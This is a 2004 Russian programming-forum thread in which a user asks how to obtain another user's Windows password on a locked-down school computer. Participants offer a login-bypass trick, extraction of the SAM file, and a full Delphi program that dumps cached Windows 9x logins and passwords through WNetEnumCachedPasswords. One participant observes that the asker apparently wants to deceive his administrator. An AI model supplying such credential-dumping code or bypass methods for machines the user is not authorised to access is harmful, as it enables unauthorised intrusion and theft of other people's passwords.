Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > Delphi: Общие вопросы > Быситрое изъятие пароля


Автор: Pakshin A. S. 19.2.2004, 22:49
Требуется, зная имя пользователя Windows'а узнать его пароль! biggrin.gif
Windows закрыть почти со всех сторон (даже панель управления недоступна!); открыт только диск с системой для чтения и диск для учеников. Реестр закрыт, дисковод не работает!

Можно подбором, но это очень долго. Может алгоритм есть какой-то или что-то прочитать надо, или ещё что-то...

Помогите, пожалуйстаbiggrin.gif

Автор: Mal Hack 19.2.2004, 22:56
Login: Administartor (логин должен быть админа)
Pass: 7777
<Enter>
Далее выскочет фигная - доступа нет.
Нажимаешь Ентер, затем очищаешь поле пароля и опять Ентер.
Если опять вылезет та фигня, то фишка не пройдет.
Фишку можно пробовать на НТях (2000 и остальные) без какого-то СП (какого не помню).
ЗЫ: Может быть надо через safe mode.
Из самой винды пароль не вынуть, т.к. он зашифрован и обратно - никак...
Правда, можно попробоват вариант - из под NTFS DoS достать какой-то SAM файл...И с ним поработать...
Через Делфи - никак, там как САМ файлы защищены от доступа любого ПО.

Автор: oleg1973 19.2.2004, 22:58
Pakshin A. S.
инет есть?smile.gif))

Автор: Pakshin A. S. 19.2.2004, 22:58
А ведь есть программы по взлому пароля?!

Автор: Pakshin A. S. 19.2.2004, 22:59
Цитата(oleg1973 @ 19.2.2004, 23:58)
Pakshin A. S.
инет есть?smile.gif))

Не понял... (sorry не знаю понятия)

Автор: Victor 19.2.2004, 23:16
ИНТЕРНЕТ ЕСТЬ? =)

Автор: Cashey 19.2.2004, 23:29
Цитата(Victor @ 19.2.2004, 23:16)
ИНТЕРНЕТ ЕСТЬ? =)

а как он тогда на форум выходит? И вообще-то наш друг Pakshin A. S. не иначе хочет своего Админа обмануть, не хорошо smile.gif

Автор: oleg1973 20.2.2004, 02:35
ну если есть инет то можна а загрузить на комп ченить

Автор: Chingachguk 20.2.2004, 05:55
На bugtraq.ru есть статья, полностью описывающая все возможности "добраться" до пароля в xp (не через "инет").

Автор: Pakshin A. S. 20.2.2004, 18:57
А где точнее? какой раздел?

Автор: Cheba 21.2.2004, 11:05
Это на bugtraq.ru: http://www.bugtraq.ru/library/security/passwords.html

А это для 9Х:
Код
unit Unit1;

interface

uses
 Windows, SysUtils, Classes, Forms, ShellAPI, Controls, StdCtrls;

type
   TForm1 = class(TForm)
   GroupBox1: TGroupBox;
   ListBox: TListBox;
   Label1: TLabel;
   Label2: TLabel;
   procedure Label1Click(Sender: TObject);
   procedure FormShow(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
   hMPR: THandle;
end;

// Отсюда мы можем заключить что должно валяться на форме,
// надеюсь вы сами всё закидаете, а если нет, то вам дорога в хелпы.

var
 Form1: TForm1;

const
 Count: Integer = 0;

function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte;
PC: PChar; dw: DWord): Word; stdcall;

implementation
{$R *.DFM}

function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte;
PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';

// Объявляем функцию внешней, надеюсь вы поняли
// каким макаром, или вам опять в хелпы

type
 PWinPassword = ^TWinPassword;
 TWinPassword = record
 EntrySize: Word;
 ResourceSize: Word;
 PasswordSize: Word;
 EntryIndex: Byte;
 EntryType: Byte;
 PasswordC: Char;
end;

// Объявляем все типы, которые будем юзать в проге.

var
 WinPassword: TWinPassword;

// Собственно переменные :-)

function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
var
 Password: string;
 PC: array[0..$FF] of Char;
begin
 inc(Count);
 // Увеличиваем число паролей на 1
 Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
 // Получаем в PC пароль
 PC[WinPassword.ResourceSize] := #0;
 CharToOem(PC, PC);
 Password := StrPas(PC);
 // После недолгих преобразований в Password имеем кэшированный логин
 Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);
 Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
 PC[WinPassword.PasswordSize] := #0;< BR> CharToOem(PC, PC);
 // Теперь в PC имеем пароль
 Password := Password + ': ' + StrPas(PC);
 // Разделяем логин и пароль двуеточием...
 Form1.ListBox.Items.Add(Password);
 // ...и добавляем в ListBox на форме
 Result := True;
 // Возвращаемся с положительным результатом
end;

procedure TForm1.Label1Click(Sender: TObject);
begin
 // при нажатии на лэйбл открываем окошко ие с нашим любимым сайтом :-)
 ShellExecute(GetDesktopWindow, 'open', 'http://www.lamerov.net', nil, nil, 0);
end;

procedure TForm1.FormShow(Sender: TObject);
begin
 // А теперь сама процедура заполнения всех паролей.
 if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
 // Если не найден кэшированый пароль, то
 begin
   Application.MessageBox('Can''t load passwords: User is not logon.',
   'Error', mb_Ok or mb_IconWarning);
   Application.Terminate;
   // Выдаем сообщение об этом
 end
 // иначе,
 else
 if Count = 0 then
   // если паролей всего 0 то тоже об этом сообщаем
   ListBox.Items.Add('No passwords found...');
end;

end.
Это все берет кэшированные пароли из 9x винды, а также из винды, где в установленном виде есть ИЕ 5 (хотя может и 4-ого хватитsmile.gif)
Если интересно, всю работу делает WNetEnumCachedPasswords.

Автор: Pakshin A. S. 21.2.2004, 19:12
Спасибо, буду разбираться! biggrin.gif

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)